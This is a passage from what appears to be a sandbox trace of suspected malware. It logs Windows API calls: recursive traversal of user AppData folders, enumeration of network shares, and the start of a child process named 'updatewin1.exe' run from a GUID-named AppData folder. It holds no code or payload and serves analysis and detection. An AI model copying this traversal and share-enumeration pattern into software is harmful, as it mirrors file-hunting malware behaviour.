(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.046] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.046] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.046] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.046] PathFindFileNameW (pszPath="") returned="" [0070.046] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\nrw\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.046] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.046] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb90f4b0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb90f4b0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb90f4b0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.046] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.047] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.047] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\") returned="prt\\" [0070.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.047] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.047] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.047] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.047] PathFindFileNameW (pszPath="") returned="" [0070.047] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\prt\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.047] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.047] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec2489f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec2489f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec2489f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.047] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.048] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.048] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\") returned="spn\\" [0070.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.048] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.048] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.048] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.048] PathFindFileNameW (pszPath="") returned="" [0070.048] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\spn\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.048] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.049] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xea237a30, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xea237a30, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xea237a30, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.049] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.049] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.049] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\") returned="swd\\" [0070.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\") returned="Adobe Custom Dictionary\\" [0070.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\") returned="Dictionaries\\" [0070.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\") returned="Linguistics\\" [0070.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0070.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.049] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.049] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.049] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.049] PathFindFileNameW (pszPath="") returned="" [0070.049] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\swd\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.050] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.050] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeaffa190, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeaffa190, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeaffa190, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.050] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.050] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.050] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0070.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\") returned="si\\" [0070.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\") returned="tmp\\" [0070.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\") returned="Deployment\\" [0070.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0070.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0070.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0070.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0070.050] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0070.050] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0070.050] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0070.050] PathFindFileNameW (pszPath="") returned="" [0070.050] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0070.051] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.051] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0070.051] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0070.051] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0070.051] SendMessageW (hWnd=0x601ba, Msg=0x8003, wParam=0x0, lParam=0x0) Thread: id = 48 os_tid = 0xb10 [0052.328] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x9c5fee0 | out: lphEnum=0x9c5fee0*=0x31bee20) returned 0x0 [0052.724] WNetEnumResourceW (in: hEnum=0x31bee20, lpcCount=0x9c5fedc, lpBuffer=0x32568d8, lpBufferSize=0x9c5fed8 | out: lpcCount=0x9c5fedc, lpBuffer=0x32568d8, lpBufferSize=0x9c5fed8) returned 0x0 [0052.724] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187468 [0052.724] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x31874b0 [0052.724] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175058 [0052.725] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x31874f8 [0052.725] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187540 [0052.725] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x32568d8, lphEnum=0x9c5fe28 | out: lphEnum=0x9c5fe28*=0x3158b30) returned 0x0 [0053.276] WNetEnumResourceW (in: hEnum=0x3158b30, lpcCount=0x9c5fe24, lpBuffer=0x3298f18, lpBufferSize=0x9c5fe20 | out: lpcCount=0x9c5fe24, lpBuffer=0x3298f18, lpBufferSize=0x9c5fe20) returned 0x103 [0053.276] WNetCloseEnum (hEnum=0x3158b30) returned 0x0 [0053.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31874b0 | out: hHeap=0x5d0000) returned 1 [0053.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187468 | out: hHeap=0x5d0000) returned 1 [0053.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187468 [0053.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x31874b0 [0053.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328ccb8 [0053.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187150 [0053.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187618 [0053.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187540 | out: hHeap=0x5d0000) returned 1 [0053.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31874f8 | out: hHeap=0x5d0000) returned 1 [0053.276] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175058 | out: hHeap=0x5d0000) returned 1 [0053.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x31874f8 [0053.276] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187540 [0053.276] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x32568f8, lphEnum=0x9c5fe28 | out: lphEnum=0x9c5fe28*=0x9c5fe44) returned 0x4b8 [0069.381] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31874b0 | out: hHeap=0x5d0000) returned 1 [0069.381] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187468 | out: hHeap=0x5d0000) returned 1 [0069.381] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0069.381] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183158 [0069.381] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x150) returned 0x3153438 [0069.381] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187468 [0069.381] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x31874b0 [0069.381] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3186fe8 [0069.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187030 [0069.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187618 | out: hHeap=0x5d0000) returned 1 [0069.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187150 | out: hHeap=0x5d0000) returned 1 [0069.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187540 | out: hHeap=0x5d0000) returned 1 [0069.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31874f8 | out: hHeap=0x5d0000) returned 1 [0069.382] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328ccb8 | out: hHeap=0x5d0000) returned 1 [0069.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183120 [0069.382] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3182ef0 [0069.382] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x3256918, lphEnum=0x9c5fe28 | out: lphEnum=0x9c5fe28*=0x9c5fe44) returned 0x4c6 [0069.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183158 | out: hHeap=0x5d0000) returned 1 [0069.385] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0069.385] WNetEnumResourceW (in: hEnum=0x31bee20, lpcCount=0x9c5fedc, lpBuffer=0x32568d8, lpBufferSize=0x9c5fed8 | out: lpcCount=0x9c5fedc, lpBuffer=0x32568d8, lpBufferSize=0x9c5fed8) returned 0x103 [0069.385] WNetCloseEnum (hEnum=0x31bee20) returned 0x0 [0069.385] SendMessageW (hWnd=0x601ba, Msg=0x8004, wParam=0x0, lParam=0x0) returned 0x0 Thread: id = 49 os_tid = 0xb1c Process: id = "6" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe" page_root = "0x17a9c000" os_pid = "0xb14" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xad8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 50 os_tid = 0xb18 [0053.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xace06430, dwHighDateTime=0x1d54670)) [0053.625] GetCurrentProcessId () returned 0xb14 [0053.625] GetCurrentThreadId () returned 0xb18 [0053.625] GetTickCount () returned 0x1c457 [0053.626] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17392129621) returned 1 [0053.644] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0053.644] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1f10000 [0053.645] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.645] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0053.645] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0053.645] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0053.645] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0053.645] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.646] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.646] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.646] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.646] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.646] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.646] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.646] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.646] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0053.646] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0053.646] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 